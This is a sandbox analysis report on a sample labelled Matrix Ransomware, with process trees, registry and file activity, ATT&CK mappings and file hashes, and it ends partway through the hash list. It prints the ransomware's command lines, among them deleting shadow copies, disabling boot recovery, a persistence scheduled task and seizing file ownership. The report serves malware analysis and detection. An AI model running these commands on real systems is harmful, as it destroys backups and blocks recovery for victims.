File opened for modification	C:\Program Files\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\Teal.css	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\Microsoft Office\Office14\1033\PUBSPAPR\ZPDIR24F.GIF	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-sampler_zh_CN.jar	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\META-INF\ECLIPSE_.SF	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.osgi.compatibility.state_1.0.1.v20140709-1414.jar	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\ParentMenuButtonIconSubpict.png	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-autoupdate-cli_ja.jar	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\Microsoft Office\MEDIA\OFFICE14\BULLETS\BD14871_.GIF	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\flower_trans_rgb.wmv	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0287415.WMF	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\Microsoft Office\CLIPART\PUB60COR\SL01395_.WMF	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-util-enumerations_ja.jar	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\Microsoft Office\Document Themes 14\Verve.thmx	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\Americana.css	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\Jujuy	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\lib\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\Microsoft Office\CLIPART\PUB60COR\SO00177_.WMF	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\requests\README.txt	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms\bg_VelvetRose.gif	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ne\LC_MESSAGES\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\fonts\LucidaBrightRegular.ttf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\Java\jre7\lib\cmm\PYCC.pf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0099202.GIF	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\Microsoft Office\Document Themes 14\Theme Colors\Solstice.xml	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\ro.pak	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\dialogs\stream_config_window.html	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0182888.WMF	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD02141_.WMF	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\LightSpirit.css	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.w3c.css.sac_1.3.1.v200903091627.jar	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105336.WMF	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.rcp.product_5.5.0.165303\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\Microsoft Office\CLIPART\PUB60COR\SO00736_.WMF	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\title.htm	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

1320 schtasks.exe
Interacts with shadow copies 2 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Processes:

vssadmin.exevssadmin.exe

pid process

388 vssadmin.exe
1204 vssadmin.exe

pid	process
1320	schtasks.exe

pid	process
388	vssadmin.exe
1204	vssadmin.exe

Modifies Control Panel 5 IoCs

evasion

Processes:

reg.exereg.exereg.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Control Panel\Desktop\TileWallpaper = "0"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Control Panel\Desktop	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Control Panel\Desktop	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Control Panel\Desktop\WallpaperStyle = "0"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Control Panel\Desktop	reg.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

powershell.exeZG413Grv64.exepowershell.exe

pid process

656 powershell.exe
656 powershell.exe
1792 ZG413Grv64.exe
1792 ZG413Grv64.exe
1792 ZG413Grv64.exe
1472 powershell.exe
1472 powershell.exe
Suspicious behavior: LoadsDriver 1 IoCs

Processes:

ZG413Grv64.exe

pid process

1792 ZG413Grv64.exe

pid	process
656	powershell.exe
656	powershell.exe
1792	ZG413Grv64.exe
1792	ZG413Grv64.exe
1792	ZG413Grv64.exe
1472	powershell.exe
1472	powershell.exe

pid	process
1792	ZG413Grv64.exe

Suspicious use of AdjustPrivilegeToken 47 IoCs

Processes:

powershell.exeZG413Grv64.exevssvc.exeWMIC.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	656	powershell.exe
Token: SeDebugPrivilege	1792	ZG413Grv64.exe
Token: SeLoadDriverPrivilege	1792	ZG413Grv64.exe
Token: SeBackupPrivilege	1220	vssvc.exe
Token: SeRestorePrivilege	1220	vssvc.exe
Token: SeAuditPrivilege	1220	vssvc.exe
Token: SeIncreaseQuotaPrivilege	1888	WMIC.exe
Token: SeSecurityPrivilege	1888	WMIC.exe
Token: SeTakeOwnershipPrivilege	1888	WMIC.exe
Token: SeLoadDriverPrivilege	1888	WMIC.exe
Token: SeSystemProfilePrivilege	1888	WMIC.exe
Token: SeSystemtimePrivilege	1888	WMIC.exe
Token: SeProfSingleProcessPrivilege	1888	WMIC.exe
Token: SeIncBasePriorityPrivilege	1888	WMIC.exe
Token: SeCreatePagefilePrivilege	1888	WMIC.exe
Token: SeBackupPrivilege	1888	WMIC.exe
Token: SeRestorePrivilege	1888	WMIC.exe
Token: SeShutdownPrivilege	1888	WMIC.exe
Token: SeDebugPrivilege	1888	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1888	WMIC.exe
Token: SeRemoteShutdownPrivilege	1888	WMIC.exe
Token: SeUndockPrivilege	1888	WMIC.exe
Token: SeManageVolumePrivilege	1888	WMIC.exe
Token: 33	1888	WMIC.exe
Token: 34	1888	WMIC.exe
Token: 35	1888	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1888	WMIC.exe
Token: SeSecurityPrivilege	1888	WMIC.exe
Token: SeTakeOwnershipPrivilege	1888	WMIC.exe
Token: SeLoadDriverPrivilege	1888	WMIC.exe
Token: SeSystemProfilePrivilege	1888	WMIC.exe
Token: SeSystemtimePrivilege	1888	WMIC.exe
Token: SeProfSingleProcessPrivilege	1888	WMIC.exe
Token: SeIncBasePriorityPrivilege	1888	WMIC.exe
Token: SeCreatePagefilePrivilege	1888	WMIC.exe
Token: SeBackupPrivilege	1888	WMIC.exe
Token: SeRestorePrivilege	1888	WMIC.exe
Token: SeShutdownPrivilege	1888	WMIC.exe
Token: SeDebugPrivilege	1888	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1888	WMIC.exe
Token: SeRemoteShutdownPrivilege	1888	WMIC.exe
Token: SeUndockPrivilege	1888	WMIC.exe
Token: SeManageVolumePrivilege	1888	WMIC.exe
Token: 33	1888	WMIC.exe
Token: 34	1888	WMIC.exe
Token: 35	1888	WMIC.exe
Token: SeDebugPrivilege	1472	powershell.exe

Suspicious use of WriteProcessMemory 108 IoCs

Processes:

bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.execmd.execmd.execmd.execmd.execmd.exe

description	pid	process	target process
PID 1108 wrote to memory of 1492	1108	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe	cmd.exe
PID 1108 wrote to memory of 1492	1108	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe	cmd.exe
PID 1108 wrote to memory of 1492	1108	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe	cmd.exe
PID 1108 wrote to memory of 1492	1108	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe	cmd.exe
PID 1108 wrote to memory of 1812	1108	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe	NWt29TaW.exe
PID 1108 wrote to memory of 1812	1108	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe	NWt29TaW.exe
PID 1108 wrote to memory of 1812	1108	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe	NWt29TaW.exe
PID 1108 wrote to memory of 1812	1108	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe	NWt29TaW.exe
PID 1108 wrote to memory of 672	1108	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe	cmd.exe
PID 1108 wrote to memory of 672	1108	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe	cmd.exe
PID 1108 wrote to memory of 672	1108	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe	cmd.exe
PID 1108 wrote to memory of 672	1108	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe	cmd.exe
PID 672 wrote to memory of 656	672	cmd.exe	powershell.exe
PID 672 wrote to memory of 656	672	cmd.exe	powershell.exe
PID 672 wrote to memory of 656	672	cmd.exe	powershell.exe
PID 672 wrote to memory of 656	672	cmd.exe	powershell.exe
PID 1108 wrote to memory of 1532	1108	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe	cmd.exe
PID 1108 wrote to memory of 1532	1108	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe	cmd.exe
PID 1108 wrote to memory of 1532	1108	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe	cmd.exe
PID 1108 wrote to memory of 1532	1108	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe	cmd.exe
PID 1108 wrote to memory of 1956	1108	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe	cmd.exe
PID 1108 wrote to memory of 1956	1108	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe	cmd.exe
PID 1108 wrote to memory of 1956	1108	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe	cmd.exe
PID 1108 wrote to memory of 1956	1108	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe	cmd.exe
PID 1532 wrote to memory of 1696	1532	cmd.exe	reg.exe
PID 1532 wrote to memory of 1696	1532	cmd.exe	reg.exe
PID 1532 wrote to memory of 1696	1532	cmd.exe	reg.exe
PID 1532 wrote to memory of 1696	1532	cmd.exe	reg.exe
PID 1956 wrote to memory of 108	1956	cmd.exe	wscript.exe
PID 1956 wrote to memory of 108	1956	cmd.exe	wscript.exe
PID 1956 wrote to memory of 108	1956	cmd.exe	wscript.exe
PID 1956 wrote to memory of 108	1956	cmd.exe	wscript.exe
PID 1532 wrote to memory of 1572	1532	cmd.exe	reg.exe
PID 1532 wrote to memory of 1572	1532	cmd.exe	reg.exe
PID 1532 wrote to memory of 1572	1532	cmd.exe	reg.exe
PID 1532 wrote to memory of 1572	1532	cmd.exe	reg.exe
PID 1532 wrote to memory of 808	1532	cmd.exe	reg.exe
PID 1532 wrote to memory of 808	1532	cmd.exe	reg.exe
PID 1532 wrote to memory of 808	1532	cmd.exe	reg.exe
PID 1532 wrote to memory of 808	1532	cmd.exe	reg.exe
PID 1108 wrote to memory of 924	1108	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe	cmd.exe
PID 1108 wrote to memory of 924	1108	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe	cmd.exe
PID 1108 wrote to memory of 924	1108	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe	cmd.exe
PID 1108 wrote to memory of 924	1108	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe	cmd.exe
PID 924 wrote to memory of 1364	924	cmd.exe	attrib.exe
PID 924 wrote to memory of 1364	924	cmd.exe	attrib.exe
PID 924 wrote to memory of 1364	924	cmd.exe	attrib.exe
PID 924 wrote to memory of 1364	924	cmd.exe	attrib.exe
PID 924 wrote to memory of 1468	924	cmd.exe	cacls.exe
PID 924 wrote to memory of 1468	924	cmd.exe	cacls.exe
PID 924 wrote to memory of 1468	924	cmd.exe	cacls.exe
PID 924 wrote to memory of 1468	924	cmd.exe	cacls.exe
PID 924 wrote to memory of 1708	924	cmd.exe	takeown.exe
PID 924 wrote to memory of 1708	924	cmd.exe	takeown.exe
PID 924 wrote to memory of 1708	924	cmd.exe	takeown.exe
PID 924 wrote to memory of 1708	924	cmd.exe	takeown.exe
PID 924 wrote to memory of 1824	924	cmd.exe	cmd.exe
PID 924 wrote to memory of 1824	924	cmd.exe	cmd.exe
PID 924 wrote to memory of 1824	924	cmd.exe	cmd.exe
PID 924 wrote to memory of 1824	924	cmd.exe	cmd.exe
PID 1824 wrote to memory of 1820	1824	cmd.exe	ZG413Grv.exe
PID 1824 wrote to memory of 1820	1824	cmd.exe	ZG413Grv.exe
PID 1824 wrote to memory of 1820	1824	cmd.exe	ZG413Grv.exe
PID 1824 wrote to memory of 1820	1824	cmd.exe	ZG413Grv.exe

Views/modifies file attributes 1 TTPs 1 IoCs
evasion

Hidden Files and Directories
T1158

Processes:

attrib.exe

pid process

1364 attrib.exe

pid	process
1364	attrib.exe

C:\Users\Admin\AppData\Local\Temp\bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
"C:\Users\Admin\AppData\Local\Temp\bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe"
1⤵
- Matrix Ransomware
- Modifies extensions of user files
- Loads dropped DLL
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1108
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe" "C:\Users\Admin\AppData\Local\Temp\NWt29TaW.exe"
  2⤵
  PID:1492
- C:\Users\Admin\AppData\Local\Temp\NWt29TaW.exe
  "C:\Users\Admin\AppData\Local\Temp\NWt29TaW.exe" -n
  2⤵
  - Executes dropped EXE
  PID:1812
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /C powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')">"C:\Users\Admin\AppData\Local\Temp\u0rUqag5.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:672
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')"
    3⤵
    - Blacklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:656
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /C reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\HMC7e7et.bmp" /f & reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1532
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\HMC7e7et.bmp" /f
    3⤵
    - Sets desktop wallpaper using registry
    - Modifies Control Panel
    PID:1696
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f
    3⤵
    - Modifies Control Panel
    PID:1572
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
    3⤵
    - Modifies Control Panel
    PID:808
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /C wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\Y4WPsKrv.vbs"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1956
- - C:\Windows\SysWOW64\wscript.exe
    wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\Y4WPsKrv.vbs"
    3⤵
    PID:108
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\okwFHopK.bat" /sc minute /mo 5 /RL HIGHEST /F
      4⤵
      PID:1752
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\okwFHopK.bat" /sc minute /mo 5 /RL HIGHEST /F
        5⤵
        Creates scheduled task(s)
        
        PID:1320
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C schtasks /Run /I /tn DSHCA
      4⤵
      PID:1360
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /Run /I /tn DSHCA
        5⤵
        
        PID:1888
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\Bhhh00dX.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\AdobeID.pdf""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:924
- - C:\Windows\SysWOW64\attrib.exe
    attrib -R -A -S "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\AdobeID.pdf"
    3⤵
    - Views/modifies file attributes
    PID:1364
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\AdobeID.pdf" /E /G Admin:F /C
    3⤵
    PID:1468
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\AdobeID.pdf"
    3⤵
    - Modifies file permissions
    PID:1708
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ZG413Grv.exe -accepteula "AdobeID.pdf" -nobanner
    3⤵
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:1824
  - - C:\Users\Admin\AppData\Local\Temp\ZG413Grv.exe
      ZG413Grv.exe -accepteula "AdobeID.pdf" -nobanner
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1820
    - - C:\Users\Admin\AppData\Local\Temp\ZG413Grv64.exe
        
        ZG413Grv.exe -accepteula "AdobeID.pdf" -nobanner
        5⤵
        Drops file in Drivers directory
        Executes dropped EXE
        Enumerates connected drives
        Modifies service
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: LoadsDriver
        Suspicious use of AdjustPrivilegeToken
        
        PID:1792

C:\Windows\system32\taskeng.exe
taskeng.exe {8F50FA56-A5DD-4327-825B-4CB6264842BB} S-1-5-21-1131729243-447456001-3632642222-1000:AVGLFESB\Admin:Interactive:[1]
1⤵
PID:1996
- C:\Windows\SYSTEM32\cmd.exe
  C:\Windows\SYSTEM32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\okwFHopK.bat"
  2⤵
  PID:568
- - C:\Windows\system32\vssadmin.exe
    vssadmin Delete Shadows /All /Quiet
    3⤵
    - Interacts with shadow copies
    PID:388
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic SHADOWCOPY DELETE
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1888
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Exec Unrestricted try {start-process -FilePath "vssadmin" -ArgumentList "delete","shadows","/all","/quiet" -WindowStyle Hidden} catch {}
    3⤵
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1472
  - - C:\Windows\system32\vssadmin.exe
      "C:\Windows\system32\vssadmin.exe" delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:1204
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1844
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2024
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN DSHCA /F
    3⤵
    PID:572

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:1220

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Hidden Files and Directories

T1158

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

File Deletion

T1107

File and Directory Permissions Modification

T1222

Hidden Files and Directories

T1158

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_231c2208-0720-4eec-b9f1-8bba11abd9fa

MD5
5e3c7184a75d42dda1a83606a45001d8

SHA1
94ca15637721d88f30eb4b6220b805c5be0360ed

SHA256
8278033a65d1ff48be4d86e11f87930d187692f59f8bf2f0a9d170de285afb59

SHA512
fae99b6e9b106e0f1c30aa4082b25ae1ad643455c1295c2c16ad534e3e611b9b08492353ffe1af1cfdddc9b2b7c330747a64012c45e62b8f4a4982dcc214e05b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3a7043da-0647-49e1-b4d0-8c62781dab10

MD5
02ff38ac870de39782aeee04d7b48231

SHA1
0390d39fa216c9b0ecdb38238304e518fb2b5095

SHA256
fbd66a9baf753db31b8de23f2d51b67f8676687503653103080c45b16f1dc876

SHA512
24a1ff76ee42ff7a5ea42843928c4df07b06178f7781cd840e1e086e88735d81506eb67259ff1e6ce5aaa7c5baea03886da265eb7e025ff4dc4c4b5f8cd3e341

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_57c6647c-75fc-47bb-8ce4-3b8f0921c533

MD5
75a8da7754349b38d64c87c938545b1b

SHA1
5c28c257d51f1c1587e29164cc03ea880c21b417

SHA256
bf08151c174b5d00c9dbc7907b2c6a01b4be76bfa3afce1e8bd98a04ad833c96

SHA512
798797bc74c56c874e9a5fdcb0157c04e37a1b3cce285ef064b01bceef8cec45f11a5198918c6c647220b62883606b5e12e3cca3ea369f3a66e69dea6e15f643

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6d5fa298-996f-4fc9-9c01-b2226cbdaeba

MD5
02ff38ac870de39782aeee04d7b48231

SHA1
0390d39fa216c9b0ecdb38238304e518fb2b5095

SHA256
fbd66a9baf753db31b8de23f2d51b67f8676687503653103080c45b16f1dc876

SHA512
24a1ff76ee42ff7a5ea42843928c4df07b06178f7781cd840e1e086e88735d81506eb67259ff1e6ce5aaa7c5baea03886da265eb7e025ff4dc4c4b5f8cd3e341

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7d6878ec-2a8b-418c-8f2b-b6fcd4b50cf8

MD5
b6d38f250ccc9003dd70efd3b778117f

SHA1
d5a17c02cac698d4f0a4a9b7d71db2aa19e3f18a

SHA256
4de9d7b5ccab7b67ca8efc83084c7ee6e5e872b7216ed4683bc5da950bf41265

SHA512
67d8195836b7f280d3f9219fd0f58276342e55d5dfdd8a4c54355030d96685d73f1b2b6da0eb39322ec7c3a1d1c5ef06b52d22646cea30a96f822de1800d31e9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e43ce3f6-b60d-4b70-bed1-86e53bf07360

MD5
df44874327d79bd75e4264cb8dc01811

SHA1
1396b06debed65ea93c24998d244edebd3c0209d

SHA256
